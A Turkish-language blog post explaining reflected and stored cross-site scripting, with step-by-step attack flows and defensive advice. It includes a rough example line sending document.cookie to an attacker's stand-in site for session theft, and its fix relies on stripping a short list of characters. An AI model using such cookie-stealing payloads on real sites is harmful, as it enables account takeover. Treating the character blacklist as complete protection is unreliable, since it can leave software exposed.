PhishingXSS Exploitler

XSS Nedir?

Yıllardır duyduğumuz, “XSS zafiyeti var” cümlesinin içinde geçen XSS zafiyetinin ne olduğunu, nasıl kullanıldığını biraz yakından inceleyelim.

XSS kelime anlamı olarak Cross-site Scripting olarak adlandırılabilir. Bunu yüzeysel olarak ifade edecek olursak, bir web sitesindeki veri giriş alanları üzerinden, uzaktan kod çalıştırma diye nitelendirebiliriz. Örneğin bir arama alanı üzerinde sizden alınan kelimeyi “bunu aradınız” diyerek web sitesinde gösteren bir uygulamada kullanıcıdan alınan verilerin temizlenmesi şarttır. Kullanıcıdan alınan verilerin temizlenmeden o ekrana yazdırılması demek, çalıştırılacak olan bir XSS için zemin hazırlamış oluyor. Örnek verecek olursak, kullanıcıların cookie bilgilerini javascript ile okuyabiliyoruz. Ee formdan gelen kod da doğrudan web sitesine yazıldığı için Javascript’te çalıştırabiliyoruz. E o zaman Javascript ile oturum bilgilerini çalabilir miyiz?

İşin güvenlik tarafından baktığımızda, hele ki HTML5 ile websocket açılarak iletişim sağlandığını da düşünecek olursak, XSS’in yalnız başına bir cookie avcılığı olmaktan çıkıp, ciddi bir risk haline geldiğini görebiliyoruz. 2 farklı XSS zafiyetinden bahsedeceğiz. Reflected (Anında yansıma), Stored (Depodan çalıştırma) olarak adlandırabilirz.

Reflected XSS

Adım adım gidelim:

  1. Adım: Hedef web sitesi belirlenir,
  2. Adım: XSS kodu kurbana mail veya bir iletişim aracılığıyla gönderilir. Burada linki doğrudan web sitesinden vermek yerine, link kısaltma servisleri kullanılabilir. bit.ly/aas4f gibi bir linke tıkladığınızda www.sizinwebsiteniz.com/arama.php?get=<script… olarak çalıştırılır ve bilgileriniz çalınabilir.
  3. Adım: Kullanıcı tarafında XSS kodu çalışır ve sunucuya bağlanır,
  4. Adım: Sunucudan gelen değer kullanıcıya iletilir,
  5. Adım: Sıkıntılı olan nesneler web browser üzerinde çalışır,
  6. Adım: Veriler saldırgana iletilir,
  7. Adım: Muhtemelen hacklendiniz.

Bu XSS türü aslında fishing saldırısı ile birleştirilmiş bir oturum çalma saldırısıdır. Peki saldırsan oturum bilgilerini nasıl çalabilir? <script alert=’http://kendiwebsitesi.com/saldiri.php?CookieCal=document.cookie();’ gibi bir yöntem ile (birebir çalışmaz, mantık kodu) kendi web sitesine GET parametresi ile oturum bilgilerini alır. Sonrasında kendi tarayıcısında oturum bilgileri kısmına sizin bilgilerinizi girerek, web sitenizin yönetim paneline giriş yapmış olur.

 

Stored XSS

Stored XSS’de ise mantık biraz daha farklı. Burada anlık çalıştırmak yerine, biraz daha yaygın olarak veritabanına gömerek oradan çalıştırmak olarak nitelendirebiliriz. Adım adım anlatıp, sonrasında detay açıklamasını yapabiliriz.

  1. Adım: Hedef web sitesi belirlenir.
  2. Adım: Hedef web sitesindeki formlar aracılığıyla zararlı olan kodlar web sitesine enjekte edilir.
  3. Adım: Alınan zararlı kodlar temizlenmeden veritabanına kaydedilir.
  4. Adım: Yönetici gelen bilgileri incelemek için veritabanından getirip ekrana yazar.
  5. Adım: Ekrana veriler yazıldığı an, saklanan javascript kodları çalışır.
  6. Adım: Çalışan javascript kodları oturum bilgilerinizi çalarak saldırgana iletir,
  7. Adım: Muhtemelen hacklendiniz.

Bu XSS türünde dikkat etmeniz gereken konu, dışarıya açık formlardan gelecek verileri her ne olursa olsun temizlikten geçirmeden veritabanına kaydetmemelisiniz. Örnek üzerinden açıklayacak olursak, kullanıcılardan bilgileri almak istediğiniz bir iletişim formuna sahipsiniz. Saldırgan iletişim formu üzerinden size normal bir mesaj yazıyor gibi mesajını yazdı ve mesaj kısmının altına da bir javascript kodu enjekte etti. Siz de kullanıcı adı ve şifrenizi yazarak yönetim paneline giriş yaptınız. İletişim formundan gelen verileri ekrana yazdırdığınızda normal metinlerin ekrana yazıldığını fakat altına enjekte ettiği javascipt kodunun ise çalıştığını görebilirsiniz. Sonrasında saldırgan muhtemelen oturum bilgilerinizi çalarak, aynı yönetim paneline giriş haklarını elde etmiş olacaktır.

Bunların yanı sıra, Stored XSS ile kullanıcıya aslında sınırsız javascript kod çalıştırma yetkisi vermiş oluyorsunuz. Kodları mesaj alanında yazıp, siz okumak istediğinizde çalıştıracağı için, satırlarca javascipt kodu yazması, sonra bunları çalıştırarak web sitenize bir socket bağlantı sağlaması, sonrasında bilgilerinizden veritabanınıza kadar bir çok verinize erişmesi anlamına gelmektedir.

 

Peki bu XSS’ten nasıl kurtuluruz?

Örneğin, stored xss üzerinden düşündüğümüzde, web sitenizdeki iletişim bölümünden gelen mesajlarda “<>” taglarını kontrol ettiğinizi ve temizlediğinizi düşünelim. Saldırgan web sitenize, <script></script> içeren bir kod enjekte etmek istediğinde, script /script olarak görünecek ve tagları olmadığı için HTML kod olarak yorumlanmayacak. Siz de gülüp geçeceksiniz muhtemelen.

Bu ve bunun gibi tüm zararlı karakterleri engellemek, sizi güvence altına alır.

[‘],[<],[>],[;],[/],[?],[=],[&],[#],[%],[{],[}],[|],[@],[\],[“]

bu karakterleri mutlaka ama mutlaka temizleyin.

Güvenli günler.

Share:

Leave a reply